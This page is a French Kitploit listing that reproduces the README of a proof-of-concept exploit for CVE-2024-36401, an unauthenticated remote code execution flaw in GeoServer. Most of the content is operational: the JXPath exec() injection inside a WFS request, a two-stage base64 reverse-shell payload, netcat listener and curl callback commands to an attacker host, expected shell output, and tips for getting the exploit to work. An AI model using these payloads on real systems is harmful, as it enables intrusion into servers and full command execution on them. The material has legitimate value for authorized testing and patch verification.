Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-36401-poc — Exploit RCE non authentifié pour GeoServer (CVE-2024-36401) via injection XPath dans le filtre OGC. Prend en charge le reverse shell et l'exécution de commandes aveugles avec détection automatique de version et sondage des types d'entités. | Kitploit
Outils/GitHubGitHub/delt-a/cve-2024-36401-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

Exploit RCE non authentifié pour GeoServer (CVE-2024-36401) via injection XPath dans le filtre OGC. Prend en charge le reverse shell et l'exécution de commandes aveugles avec détection automatique de version et sondage des types d'entités.

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-36401 — Injection XPath RCE dans GeoServer via OGC

Python CVE CVSS License

Exploit d'exécution de code à distance non authentifié pour GeoServer via l'injection du paramètre valueReference de filtre OGC (évaluation XPath/JXPath).

Avertissement : Cet outil est destiné uniquement aux tests d'intrusion autorisés et à la recherche en sécurité. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.


Table des matières

  • Vue d'ensemble
  • Versions concernées
  • Détails techniques
  • Prérequis
  • Installation
  • Utilisation
  • Exemples
  • Fonctionnement
  • Dépannage
  • Références

  • Vue d'ensemble

    GeoServer est un serveur Java open source pour le partage de données géospatiales, largement déployé dans les environnements gouvernementaux, d'entreprise et de recherche. CVE-2024-36401 permet à un attaquant non authentifié d'exécuter des commandes système arbitraires sur l'hôte en injectant des expressions Java dans les paramètres de filtre OGC (Open Geospatial Consortium).

    La vulnérabilité a été ajoutée au catalogue CISA Known Exploited Vulnerabilities (KEV) en juillet 2024 en raison d'une exploitation active dans la nature.


    Versions concernées

    BranchePlage vulnérableCorrigé dans
    2.23.x< 2.23.62.23.6
    2.24.x< 2.24.42.24.4
    2.25.x< 2.25.22.25.2

    Les versions de GeoServer antérieures à 2.23.0 sont également probablement concernées mais sont en fin de vie et non testées.


    Détails techniques

    GeoServer utilise la bibliothèque GeoTools pour évaluer les expressions de filtre OGC. Le paramètre valueReference (ainsi que d'autres comme CQL_FILTER) est passé à JXPathContext.selectNodes() d'Apache Commons JXPath sans désinfection.

    JXPath permet d'appeler des méthodes Java arbitraires via des expressions comme :

    root@kitploit:~
    exec(java.lang.Runtime.getRuntime(), 'id')
    

    Cette évaluation a lieu avant la vérification de l'authentification pour certains points d'accès, rendant la vulnérabilité totalement non authentifiée.

    Points d'accès vulnérables :

    • POST /geoserver/wfs — requête GetPropertyValue avec valueReference
    • GET /geoserver/ows — même paramètre via la chaîne de requête

    Note technique importante : L'expression valueReference doit utiliser des guillemets simples (') autour de la chaîne de commande. Les guillemets doubles (") provoquent des échecs d'analyse XML et empêchent l'exécution — un écueil courant dans d'autres PoC publics.


    Prérequis

    • Python 3.9+
    • Bibliothèque requests
    • Cible exécutant une version vulnérable de GeoServer avec au moins un type d'entité WFS disponible (les espaces de travail de données d'exemple par défaut sf, topp, tiger sont suffisants)

    Installation

    root@kitploit:~
    git clone https://github.com/Delt-A/CVE-2024-36401-poc
    cd CVE-2024-36401-poc
    pip3 install requests
    

    Ou installez les dépendances directement :

    root@kitploit:~
    pip3 install requests
    

    Utilisation

    root@kitploit:~
    usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                      [-c CMD] [-f FEATURE]
    
    options :
      -h, --help            affiche ce message d'aide et quitte
      -t, --target TARGET   URL cible, ex. http://<TARGET>:8080
      -l, --lhost LHOST     Votre adresse IP pour le callback du reverse shell
      -p, --lport LPORT     Port d'écoute (défaut : 4444)
      -c, --cmd CMD         Commande unique à exécuter (aucun retour)
      -f, --feature FEATURE Surcharge du type d'entité (détection automatique si omis)
    

    Modes

    ModeOptionsDescription
    Reverse shell-l LHOST -p LPORTReverse shell en deux étapes via bash
    Exécution de commande-c CMDExécute une commande unique (aveugle — pas de sortie)
    Surcharge du type d'entité-f FEATUREIgnore la détection automatique, utilise le type spécifié

    Exemples

    1. Reverse shell (recommandé)

    Démarrez d'abord un écouteur :

    root@kitploit:~
    nc -lvnp 4444
    

    Puis lancez l'exploit :

    root@kitploit:~
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -l <LHOST> \
      -p 4444
    

    Sortie attendue :

    root@kitploit:~
       _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
      / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
     / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
    / /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
    \____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
       ___
      <  /
      / /
     / /
    /_/
    
      GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
      Non authentifié  |  CVSS 9.8  |  Affecte < 2.25.2 / 2.24.4 / 2.23.6
    
    [*] Cible : http://<TARGET>:8080
    
    [+] GeoServer détecté — version : 2.24.2
    [+] La version 2.24.2 est VULNÉRABLE
    [*] Sondage des types d'entités...
    [+] Type d'entité : sf:archsites
    
    [*] Type d'entité : sf:archsites
    [*] Écouteur      : <LHOST>:4444
    [*] Démarrage     : nc -lvnp 4444
    
    [*] Étape 1 — écriture de /tmp/rs.sh sur la cible...
    [+] Payload délivré via sf:archsites
    [*] Étape 2 — exécution → <LHOST>:4444
    [+] Terminé — vérifiez votre écouteur
    

    Sur l'écouteur :

    root@kitploit:~
    Connection received on <TARGET> 43210
    bash: cannot set terminal process group: Inappropriate ioctl for device
    bash: no job control in this shell
    geoserver@target:~$
    

    2. Exécution de commande (aveugle)

    Exécutez une commande sans recevoir de sortie. Utile pour une vérification hors bande ou le dépôt de fichiers :

    root@kitploit:~
    # Vérifier l'exécution via la création d'un fichier
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -c "touch /tmp/pwned"
    
    # Déclencher un callback curl pour confirmer l'exécution
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -c "curl http://<LHOST>:8000/pwned"
    

    Remarque : Les commandes contenant des métacaractères du shell (>, |, &, ;) sont automatiquement encodées en base64 pour éviter des problèmes d'analyse.


    3. Spécifier manuellement le type d'entité

    Si la détection automatique échoue, fournissez un type d'entité connu de la cible :

    root@kitploit:~
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -l <LHOST> \
      -p 4444 \
      -f topp:states
    

    Types d'entités courants inclus avec les données d'exemple de GeoServer :

    Espace de travailType d'entité
    sfsf:archsites, sf:bugsites, sf:roads, sf:streams
    topptopp:states, topp:tasmania_cities, topp:tasmania_roads
    tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
    citecite:Buildings

    Fonctionnement

    L'exploit envoie une requête WFS GetPropertyValue avec une expression valueReference malveillante :

    root@kitploit:~
    <wfs:GetPropertyValue service='WFS' version='2.0.0'
      xmlns:wfs='http://www.opengis.net/wfs/2.0'>
      <wfs:Query typeNames='sf:archsites'/>
      <wfs:valueReference>
        exec(java.lang.Runtime.getRuntime(),'COMMAND')
      </wfs:valueReference>
    </wfs:GetPropertyValue>
    

    Pour le reverse shell, une approche en deux étapes est utilisée pour éviter les problèmes avec les métacaractères du shell à l'intérieur de l'argument chaîne unique de exec() :

    Étape 1 — Écrire le reverse shell dans /tmp/rs.sh via un encodage base64 et l'expansion d'accolades du shell (pas d'espaces dans la chaîne exec) :

    root@kitploit:~
    bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
    

    Étape 2 — Exécuter le script :

    root@kitploit:~
    bash /tmp/rs.sh
    

    Cette approche évite d'avoir besoin d'un interpréteur shell dans le premier appel exec(), ce qui la rend fiable sur différentes configurations système.


    Dépannage

    [-] Impossible de se connecter à la cible

    • Vérifiez que l'URL et le port cibles sont corrects
    • Confirmez que GeoServer est en cours d'exécution : curl http://<TARGET>:8080/geoserver/web/

    [-] Aucun type d'entité utilisable trouvé

    • Les données d'exemple de GeoServer peuvent ne pas être installées
    • Essayez de spécifier un type d'entité personnalisé avec -f <espace_de_travail>:<type>
    • Listez les types disponibles : curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"

    [+] Payload délivré mais pas de shell reçu

    • Confirmez que votre écouteur est en cours d'exécution avant d'envoyer l'exploit
    • Vérifiez les règles de pare-feu — la cible doit pouvoir atteindre votre LHOST:LPORT
    • Certains PoC utilisent des guillemets doubles (") autour de la commande — cela ne fonctionne pas. Assurez-vous d'utiliser des guillemets simples (') à l'intérieur de l'expression valueReference.

    [!] La version X.X.X est peut-être patchée — tentative quand même

    • Le script tente toujours l'exploit quelle que soit la détection de version
    • La détection de version peut échouer si la page À propos est restreinte ; l'exploit peut quand même réussir

    Références

    • NVD — CVE-2024-36401
    • Avis GitHub — GHSA-7g64-hx6g-4427
    • Avis de sécurité GeoServer
    • Catalogue KEV de la CISA
    • Correctif JXPath de GeoTools

    Licence

    Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails.

    Télécharger l’outil